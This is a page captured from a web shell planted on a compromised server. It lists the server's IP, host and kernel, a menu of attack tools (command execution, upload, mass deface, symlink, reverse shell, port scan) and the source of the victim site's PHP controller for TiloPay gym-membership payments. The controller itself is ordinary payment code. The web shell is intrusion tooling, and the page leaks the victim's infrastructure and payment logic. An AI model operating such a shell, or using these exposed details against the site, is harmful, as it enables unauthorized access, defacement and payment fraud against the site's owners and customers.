Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
gimnasiofitnes
/
app
/
Controllers
/
Viewing: TilopayController.php
<?php namespace App\Controllers; use App\Libraries\TilopayGateway; use App\Models\CompanyModel; use App\Models\MembershipModel; use App\Models\MembershipTypeModel; use App\Models\PaymentMethodModel; use App\Models\PaymentModel; use App\Models\PaymentTransactionModel; use App\Models\UserModel; use DateTime; class TilopayController extends BaseController { private TilopayGateway $gateway; private PaymentTransactionModel $transactionModel; private MembershipTypeModel $membershipTypeModel; private MembershipModel $membershipModel; private PaymentModel $paymentModel; private PaymentMethodModel $paymentMethodModel; private UserModel $userModel; public function __construct() { $this->gateway = new TilopayGateway(); $this->transactionModel = new PaymentTransactionModel(); $this->membershipTypeModel = new MembershipTypeModel(); $this->membershipModel = new MembershipModel(); $this->paymentModel = new PaymentModel(); $this->paymentMethodModel = new PaymentMethodModel(); $this->userModel = new UserModel(); } public function start($slug) { $userId = (int) session('user_id'); $user = $this->userModel->where('is_active', 1)->find($userId); if (!$user) { return view('activation_message'); } $plan = $this->membershipTypeModel ->where('slug', $slug) ->where('status', 'active') ->first(); if (!$plan) { return redirect()->to(base_url())->with('error', 'El plan seleccionado no esta disponible.'); } if (!$this->gateway->isConfigured()) { return redirect()->back()->with('error', 'La pasarela de pago no esta configurada.'); } $amount = round($this->membershipTypeModel->getFinalPrice($plan), 2); if ($amount <= 0) { return redirect()->back()->with('error', 'No se puede procesar un pago con monto cero.'); } $transactionId = $this->transactionModel->insert([ 'user_id' => $userId, 'membership_type_id' => $plan['id'], 'gateway' => 'tilopay', 'amount' => $amount, 'currency' => $this->gateway->getCurrency(), 'status' => 'pending', ]); if (!$transactionId) { return redirect()->back()->with('error', 'No se pudo crear la orden de pago.'); } $orderNumber = (string) $transactionId; $this->transactionModel->update($transactionId, ['order_number' => $orderNumber]); $transaction = $this->transactionModel->find($transactionId); $result = $this->gateway->startPayment( $transaction, $user, $plan, base_url('checkout/tilopay/return') ); $this->transactionModel->update($transactionId, [ 'request_payload' => $this->gateway->redactPayload($result['request'] ?? []), 'response_payload' => $this->gateway->redactPayload($result['response'] ?? null), 'response_description' => $result['success'] ? null : ($result['message'] ?? 'Error al iniciar pago'), 'status' => $result['success'] ? 'pending' : 'failed', ]); if (!$result['success']) { return redirect()->back()->with('error', $result['message'] ?? 'No se pudo iniciar el pago.'); } return redirect()->to($result['url']); } public function handleReturn() { $payload = $this->request->getGet(); $orderNumber = $payload['order'] ?? $payload['orderNumber'] ?? null; if (empty($orderNumber)) { return $this->renderFailure('No recibimos la referencia de la orden.'); } $transaction = $this->transactionModel ->where('order_number', (string) $orderNumber) ->first(); if (!$transaction) { return $this->renderFailure('No encontramos la orden de pago.'); } $result = $this->finalizeTransaction($transaction, $payload); if ($result['status'] === 'approved') { if ((int) session('user_id') === (int) $transaction['user_id']) { return redirect()->to(base_url('dashboard'))->with('success', 'Pago confirmado. Tu membresia fue activada.'); } return $this->renderSuccess($transaction, $result); } if ($result['status'] === 'pending') { return $this->renderPending($result['message'] ?? 'Tu pago esta pendiente de confirmacion.'); } return $this->renderFailure($result['message'] ?? 'El pago no fue aprobado.'); } public function webhook() { $payload = $this->request->getJSON(true); if (!is_array($payload)) { $payload = $this->request->getPost(); } $orderNumber = $payload['orderNumber'] ?? $payload['order'] ?? null; if (empty($orderNumber)) { return $this->response->setStatusCode(400)->setJSON([ 'success' => false, 'message' => 'Orden no recibida.', ]); } $transaction = $this->transactionModel ->where('order_number', (string) $orderNumber) ->first(); if (!$transaction) { return $this->response->setStatusCode(404)->setJSON([ 'success' => false, 'message' => 'Orden no encontrada.', ]); } $result = $this->finalizeTransaction($transaction, $payload); return $this->response->setJSON([ 'success' => in_array($result['status'], ['approved', 'pending'], true), 'status' => $result['status'], 'message' => $result['message'] ?? null, 'membership_id' => $result['membership_id'] ?? null, 'payment_id' => $result['payment_id'] ?? null, ]); } private function finalizeTransaction(array $transaction, array $payload): array { $transaction = $this->transactionModel->find($transaction['id']); if (!$transaction) { return ['status' => 'failed', 'message' => 'Orden no encontrada.']; } if ($transaction['status'] === 'approved' && !empty($transaction['membership_id']) && !empty($transaction['payment_id'])) { return [ 'status' => 'approved', 'membership_id' => $transaction['membership_id'], 'payment_id' => $transaction['payment_id'], ]; } $orderNumber = (string) ($payload['orderNumber'] ?? $payload['order'] ?? $transaction['order_number']); $code = trim((string) ($payload['code'] ?? '')); $auth = trim((string) ($payload['auth'] ?? '')); $tilopayOrderId = trim((string) ($payload['tpt'] ?? $payload['TPT'] ?? '')); $orderHash = trim((string) ($payload['orderHash'] ?? $payload['OrderHash'] ?? '')); $description = trim((string) ($payload['description'] ?? '')); $cancelledByUser = strtolower((string) ($payload['wp_cancel'] ?? '')) === 'yes'; $baseUpdate = [ 'gateway_order_id' => $tilopayOrderId ?: null, 'authorization_code' => $auth ?: null, 'response_code' => $code ?: null, 'response_description' => $description ?: null, 'order_hash' => $orderHash ?: null, 'response_payload' => $this->gateway->redactPayload($payload), ]; if ($cancelledByUser) { $this->transactionModel->update($transaction['id'], $baseUpdate + ['status' => 'canceled']); return ['status' => 'canceled', 'message' => 'Proceso cancelado por el cliente.']; } if ($code === '' || strtolower($code) === 'pending' || strtolower($description) === 'pending') { $this->transactionModel->update($transaction['id'], $baseUpdate + ['status' => 'pending']); return ['status' => 'pending', 'message' => 'Pago pendiente de confirmacion.']; } if ($code !== '1') { $this->transactionModel->update($transaction['id'], $baseUpdate + ['status' => 'failed']); return ['status' => 'failed', 'message' => $description ?: 'TiloPay no aprobo la transaccion.']; } $user = $this->userModel->find((int) $transaction['user_id']); $plan = $this->membershipTypeModel->find((int) $transaction['membership_type_id']); if (!$user || !$plan) { $this->transactionModel->update($transaction['id'], $baseUpdate + ['status' => 'invalid']); return ['status' => 'failed', 'message' => 'La orden no tiene cliente o plan valido.']; } $hashIsValid = $this->gateway->verifyHash( $orderHash, $orderNumber, (float) $transaction['amount'], (string) $transaction['currency'], $tilopayOrderId, $code, $auth, (string) $user['email'] ); if (!$hashIsValid || $auth === '') { $this->transactionModel->update($transaction['id'], $baseUpdate + ['status' => 'invalid']); log_message('error', 'TiloPay invalid hash for order ' . $orderNumber); return ['status' => 'failed', 'message' => 'No se pudo validar la confirmacion de la pasarela.']; } return $this->activateMembership($transaction, $plan, $baseUpdate); } private function activateMembership(array $transaction, array $plan, array $baseUpdate): array { $gatewayReference = 'TILOPAY-' . $transaction['order_number']; $db = \Config\Database::connect(); $db->transStart(); $existingMembership = $this->membershipModel ->where('mp_order_id', $gatewayReference) ->first(); if ($existingMembership) { $payment = $this->paymentModel ->where('membership_id', $existingMembership['id']) ->orderBy('id', 'DESC') ->first(); $this->transactionModel->update($transaction['id'], $baseUpdate + [ 'status' => 'approved', 'membership_id' => $existingMembership['id'], 'payment_id' => $payment['id'] ?? null, 'paid_at' => date('Y-m-d H:i:s'), ]); $db->transComplete(); return [ 'status' => 'approved', 'membership_id' => $existingMembership['id'], 'payment_id' => $payment['id'] ?? null, ]; } [$startDate, $endDate] = $this->resolveCoverageDates( (int) $transaction['user_id'], (int) $transaction['membership_type_id'], (string) ($plan['duration'] ?? '') ); $membershipId = $this->membershipModel->insert([ 'mp_order_id' => $gatewayReference, 'user_id' => $transaction['user_id'], 'membership_type_id' => $transaction['membership_type_id'], 'start_date' => $startDate, 'end_date' => $endDate, 'status' => 'active', ]); $paymentId = null; if ($membershipId) { $paymentId = $this->paymentModel->insert([ 'membership_id' => $membershipId, 'amount' => $transaction['amount'], 'credit_balance' => 0, 'payment_date' => date('Y-m-d'), 'payment_type' => 'contado', 'coverage_start' => $startDate, 'coverage_end' => $endDate, 'payment_name' => $this->gateway->getTitle() . ' - TiloPay', 'payment_method_id' => $this->getPaymentMethodId(), 'box_id' => null, ]); } $this->transactionModel->update($transaction['id'], $baseUpdate + [ 'status' => 'approved', 'membership_id' => $membershipId, 'payment_id' => $paymentId, 'paid_at' => date('Y-m-d H:i:s'), ]); $db->transComplete(); if (!$membershipId || !$paymentId || !$db->transStatus()) { log_message('error', 'TiloPay activation failed for order ' . $transaction['order_number']); return ['status' => 'failed', 'message' => 'El pago fue aprobado, pero no se pudo activar la membresia.']; } return [ 'status' => 'approved', 'membership_id' => $membershipId, 'payment_id' => $paymentId, ]; } private function getPaymentMethodId(): ?int { $name = $this->gateway->getTitle(); $method = $this->paymentMethodModel->where('name', $name)->first(); if ($method) { return (int) $method['id']; } $id = $this->paymentMethodModel->insert(['name' => $name]); return $id ? (int) $id : null; } private function resolveCoverageDates(int $userId, int $membershipTypeId, string $duration): array { $start = new DateTime(date('Y-m-d')); $latestMembership = $this->membershipModel ->where('user_id', $userId) ->where('membership_type_id', $membershipTypeId) ->whereIn('status', ['active', 'expired']) ->orderBy('end_date', 'DESC') ->first(); if (!empty($latestMembership['end_date'])) { $latestEnd = new DateTime($latestMembership['end_date']); if ($latestEnd >= $start) { $start = $latestEnd; } } $end = $this->applyDuration($start, $duration); return [$start->format('Y-m-d'), $end->format('Y-m-d')]; } private function applyDuration(DateTime $date, string $duration): DateTime { $result = clone $date; $normalized = strtolower(trim($duration)); if (is_numeric($normalized)) { $days = max(1, (int) $normalized); $result->modify('+' . $days . ' days'); return $result; } if (str_starts_with($normalized, 'por d') || in_array($normalized, ['dia', 'diario'], true)) { $result->modify('+1 day'); return $result; } switch ($normalized) { case 'semanal': $result->modify('+1 week'); break; case 'quincenal': $result->modify('+2 weeks'); break; case 'mensual': $result->modify('+1 month'); break; case 'anual': $result->modify('+1 year'); break; default: $result->modify('+30 days'); break; } return $result; } private function renderSuccess(array $transaction, array $result) { return view('checkout/success', [ 'company' => (new CompanyModel())->first(), 'payment_id' => $result['payment_id'] ?? $transaction['payment_id'] ?? null, 'status' => 'Aprobado', 'external_reference' => $transaction['order_number'], 'message' => 'Tu membresia fue activada correctamente.', 'dashboard_url' => base_url('dashboard'), ]); } private function renderPending(string $message) { return view('checkout/pending', [ 'company' => (new CompanyModel())->first(), 'message' => $message, ]); } private function renderFailure(string $message) { return view('checkout/failure', [ 'company' => (new CompanyModel())->first(), 'message' => $message, ]); } }
Coded With 💗 by
0x6ick